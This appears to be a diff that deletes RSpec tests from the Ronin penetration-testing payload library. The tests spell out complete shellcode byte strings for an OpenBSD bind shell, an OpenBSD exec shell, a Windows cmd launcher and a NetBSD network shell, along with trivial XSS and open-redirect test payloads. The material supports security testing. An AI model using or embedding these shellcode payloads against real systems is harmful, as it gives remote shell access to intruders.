31
|
-
expect(subject.os).to be(:netbsd)
|
32
|
-
end
|
33
|
-
end
|
34
|
-
|
35
|
-
let(:host) { '127.0.0.1' }
|
36
|
-
let(:port) { 1337 }
|
37
|
-
|
38
|
-
subject do
|
39
|
-
described_class.new(
|
40
|
-
params: {
|
41
|
-
host: host,
|
42
|
-
port: port
|
43
|
-
}
|
44
|
-
)
|
45
|
-
end
|
46
|
-
|
47
|
-
describe "#build" do
|
48
|
-
before { subject.build }
|
49
|
-
|
50
|
-
let(:negated_ipv4) { "\x80\xff\xff\xfe" }
|
51
|
-
let(:negated_port) { "\xfa\xc6" }
|
52
|
-
|
53
|
-
it "must set #payload" do
|
54
|
-
expect(subject.payload).to eq(
|
55
|
-
"\x31\xc0\x31\xc9\x50\x40\x50\x40\x50\x50\xb0\x61\xcd\x80\x89\xc3\x89\xe2\x49\x51\x51\x41\x68#{negated_ipv4}\x68\xff\xfd#{negated_port}\xb1\x10\x51\xf6\x12\x4a\xe2\xfb\xf6\x12\x52\x50\x50\xb0\x62\xcd\x80\xb1\x03\x49\x51\x41\x53\x50\xb0\x5a\xcd\x80\xe2\xf5\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x54\x53\x50\xb0\x3b\xcd\x80"
|
56
|
-
)
|
57
|
-
end
|
58
|
-
|
59
|
-
it "must ensure #payload is an ASCII 8bit string" do
|
60
|
-
expect(subject.payload.encoding).to eq(Encoding::ASCII_8BIT)
|
61
|
-
end
|
62
|
-
end
|
63
|
-
end
|
@@ -1,58 +0,0 @@
|
|
1
|
-
require 'spec_helper'
|
2
|
-
require 'ronin/payloads/builtin/shellcode/openbsd/x86/bind_shell'
|
3
|
-
|
4
|
-
describe Ronin::Payloads::Shellcode::OpenBSD::X86::BindShell do
|
5
|
-
it "must inherit from Ronin::Payloads::Shellcode::BindShellPayload" do
|
6
|
-
expect(described_class).to be < Ronin::Payloads::Shellcode::BindShellPayload
|
7
|
-
end
|
8
|
-
|
9
|
-
describe ".id" do
|
10
|
-
subject { described_class }
|
11
|
-
|
12
|
-
it "must equal 'shellcode/openbsd/x86/bind_shell'" do
|
13
|
-
expect(subject.id).to eq('shellcode/openbsd/x86/bind_shell')
|
14
|
-
end
|
15
|
-
end
|
16
|
-
|
17
|
-
describe ".arch" do
|
18
|
-
subject { described_class }
|
19
|
-
|
20
|
-
it "must equal :x86" do
|
21
|
-
expect(subject.arch).to be(:x86)
|
22
|
-
end
|
23
|
-
end
|
24
|
-
|
25
|
-
describe ".os" do
|
26
|
-
subject { described_class }
|
27
|
-
|
28
|
-
it "must equal :openbsd" do
|
29
|
-
expect(subject.os).to be(:openbsd)
|
30
|
-
end
|
31
|
-
end
|
32
|
-
|
33
|
-
let(:host) { 'example.com' }
|
34
|
-
let(:port) { 1337 }
|
35
|
-
|
36
|
-
subject do
|
37
|
-
described_class.new(
|
38
|
-
params: {
|
39
|
-
host: host,
|
40
|
-
port: port
|
41
|
-
}
|
42
|
-
)
|
43
|
-
end
|
44
|
-
|
45
|
-
describe "#build" do
|
46
|
-
before { subject.build }
|
47
|
-
|
48
|
-
it "must set #payload" do
|
49
|
-
expect(subject.payload).to eq(
|
50
|
-
"\x31\xc9\x51\x41\x51\x41\x51\x51\x31\xc0\xb0\x61\xcd\x80\x89\x07\x31\xc9\x88\x4f\x04\xc6\x47\x05\x02\x89\x4f\x08\x66\xc7\x47\x06\x05\x39\x6a\x10\x8d\x47\x04\x50\x8b\x07\x50\x50\x31\xc0\xb0\x68\xcd\x80\x6a\x01\x8b\x07\x50\x50\x31\xc0\xb0\x6a\xcd\x80\x31\xc9\x51\x51\x8b\x07\x50\x50\x31\xc0\xb0\x1e\xcd\x80\x89\x07\x31\xc9\x51\x8b\x07\x50\x50\x31\xc0\xb0\x5a\xcd\x80\x41\x83\xf9\x03\x75\xef\xeb\x23\x5b\x89\x1f\x31\xc9\x88\x4b\x07\x89\x4f\x04\x51\x8d\x07\x50\x8b\x07\x50\x50\x31\xc0\xb0\x3b\xcd\x80\x31\xc9\x51\x51\x31\xc0\xb0\x01\xcd\x80\xe8\xd8\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x41\x90".b
|
51
|
-
)
|
52
|
-
end
|
53
|
-
|
54
|
-
it "must ensure #payload is an ASCII 8bit string" do
|
55
|
-
expect(subject.payload.encoding).to eq(Encoding::ASCII_8BIT)
|
56
|
-
end
|
57
|
-
end
|
58
|
-
end
|
@@ -1,46 +0,0 @@
|
|
1
|
-
require 'spec_helper'
|
2
|
-
require 'ronin/payloads/builtin/shellcode/openbsd/x86/exec_shell'
|
3
|
-
|
4
|
-
describe Ronin::Payloads::Shellcode::OpenBSD::X86::ExecShell do
|
5
|
-
it "must inherit from Ronin::Payloads::Shellcode::ExecShellPayload" do
|
6
|
-
expect(described_class).to be < Ronin::Payloads::Shellcode::ExecShellPayload
|
7
|
-
end
|
8
|
-
|
9
|
-
describe ".id" do
|
10
|
-
subject { described_class }
|
11
|
-
|
12
|
-
it "must equal 'shellcode/openbsd/x86/exec_shell'" do
|
13
|
-
expect(subject.id).to eq('shellcode/openbsd/x86/exec_shell')
|
14
|
-
end
|
15
|
-
end
|
16
|
-
|
17
|
-
describe ".arch" do
|
18
|
-
subject { described_class }
|
19
|
-
|
20
|
-
it "must equal :x86" do
|
21
|
-
expect(subject.arch).to be(:x86)
|
22
|
-
end
|
23
|
-
end
|
24
|
-
|
25
|
-
describe ".os" do
|
26
|
-
subject { described_class }
|
27
|
-
|
28
|
-
it "must equal :openbsd" do
|
29
|
-
expect(subject.os).to be(:openbsd)
|
30
|
-
end
|
31
|
-
end
|
32
|
-
|
33
|
-
describe "#build" do
|
34
|
-
before { subject.build }
|
35
|
-
|
36
|
-
it "must set #payload" do
|
37
|
-
expect(subject.payload).to eq(
|
38
|
-
"\x99\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x54\x53\x53\x6a\x3b\x58\xcd\x80".b
|
39
|
-
)
|
40
|
-
end
|
41
|
-
|
42
|
-
it "must ensure #payload is an ASCII 8bit string" do
|
43
|
-
expect(subject.payload.encoding).to eq(Encoding::ASCII_8BIT)
|
44
|
-
end
|
45
|
-
end
|
46
|
-
end
|
@@ -1,54 +0,0 @@
|
|
1
|
-
require 'spec_helper'
|
2
|
-
require 'ronin/payloads/builtin/shellcode/windows/x86_64/cmd'
|
3
|
-
|
4
|
-
describe Ronin::Payloads::Shellcode::Windows::X86_64::CMD do
|
5
|
-
it "must inherit from Ronin::Payloads::Shellcode::ExecShellPayload" do
|
6
|
-
expect(described_class).to be < Ronin::Payloads::Shellcode::ExecShellPayload
|
7
|
-
end
|
8
|
-
|
9
|
-
describe ".id" do
|
10
|
-
subject { described_class }
|
11
|
-
|
12
|
-
it "must equal 'shellcode/windows/x86_64/cmd'" do
|
13
|
-
expect(subject.id).to eq('shellcode/windows/x86_64/cmd')
|
14
|
-
end
|
15
|
-
end
|
16
|
-
|
17
|
-
describe ".arch" do
|
18
|
-
subject { described_class }
|
19
|
-
|
20
|
-
it "must equal :x86_64" do
|
21
|
-
expect(subject.arch).to be(:x86_64)
|
22
|
-
end
|
23
|
-
end
|
24
|
-
|
25
|
-
describe ".os" do
|
26
|
-
subject { described_class }
|
27
|
-
|
28
|
-
it "must equal :windows" do
|
29
|
-
expect(subject.os).to be(:windows)
|
30
|
-
end
|
31
|
-
end
|
32
|
-
|
33
|
-
describe ".os_version" do
|
34
|
-
subject { described_class }
|
35
|
-
|
36
|
-
it "must equal '7'" do
|
37
|
-
expect(subject.os_version).to eq('7')
|
38
|
-
end
|
39
|
-
end
|
40
|
-
|
41
|
-
describe "#build" do
|
42
|
-
before { subject.build }
|
43
|
-
|
44
|
-
it "must set #payload" do
|
45
|
-
expect(subject.payload).to eq(
|
46
|
-
"\x31\xC9\x64\x8B\x71\x30\x8B\x76\x0C\x8B\x76\x1C\x8B\x36\x8B\x06\x8B\x68\x08\xEB\x20\x5B\x53\x55\x5B\x81\xEB\x11\x11\x11\x11\x81\xC3\xDA\x3F\x1A\x11\xFF\xD3\x81\xC3\x11\x11\x11\x11\x81\xEB\x8C\xCC\x18\x11\xFF\xD3\xE8\xDB\xFF\xFF\xFF\x63\x6d\x64".b
|
47
|
-
)
|
48
|
-
end
|
49
|
-
|
50
|
-
it "must ensure #payload is an ASCII 8bit string" do
|
51
|
-
expect(subject.payload.encoding).to eq(Encoding::ASCII_8BIT)
|
52
|
-
end
|
53
|
-
end
|
54
|
-
end
|
@@ -1,24 +0,0 @@
|
|
1
|
-
require 'spec_helper'
|
2
|
-
require 'ronin/payloads/builtin/test/open_redirect'
|
3
|
-
|
4
|
-
describe Ronin::Payloads::Test::OpenRedirect do
|
5
|
-
it "must inherit from Ronin::Payloads::URLPayload" do
|
6
|
-
expect(described_class).to be < Ronin::Payloads::URLPayload
|
7
|
-
end
|
8
|
-
|
9
|
-
describe ".id" do
|
10
|
-
subject { described_class }
|
11
|
-
|
12
|
-
it "must equal 'test/open_redirect'" do
|
13
|
-
expect(subject.id).to eq('test/open_redirect')
|
14
|
-
end
|
15
|
-
end
|
16
|
-
|
17
|
-
describe "#build" do
|
18
|
-
before { subject.build }
|
19
|
-
|
20
|
-
it "must set #payload to 'https://google.com/'" do
|
21
|
-
expect(subject.payload).to eq("https://google.com/")
|
22
|
-
end
|
23
|
-
end
|
24
|
-
end
|
@@ -1,24 +0,0 @@
|
|
1
|
-
require 'spec_helper'
|
2
|
-
require 'ronin/payloads/builtin/test/xss'
|
3
|
-
|
4
|
-
describe Ronin::Payloads::Test::XSS do
|
5
|
-
it "must inherit from Ronin::Payloads::JavaScriptPayload" do
|
6
|
-
expect(described_class).to be < Ronin::Payloads::JavaScriptPayload
|
7
|
-
end
|
8
|
-
|
9
|
-
describe ".id" do
|
10
|
-
subject { described_class }
|
11
|
-
|
12
|
-
it "must equal 'test/xss'" do
|
13
|
-
expect(subject.id).to eq('test/xss')
|
14
|
-
end
|
15
|
-
end
|
16
|
-
|
17
|
-
describe "#build" do
|
18
|
-
before { subject.build }
|
19
|
-
|
20
|
-
it "must set #payload to 'alert(1)'" do
|
21
|
-
expect(subject.payload).to eq("alert(1)")
|
22
|
-
end
|
23
|
-
end
|
24
|
-
end
|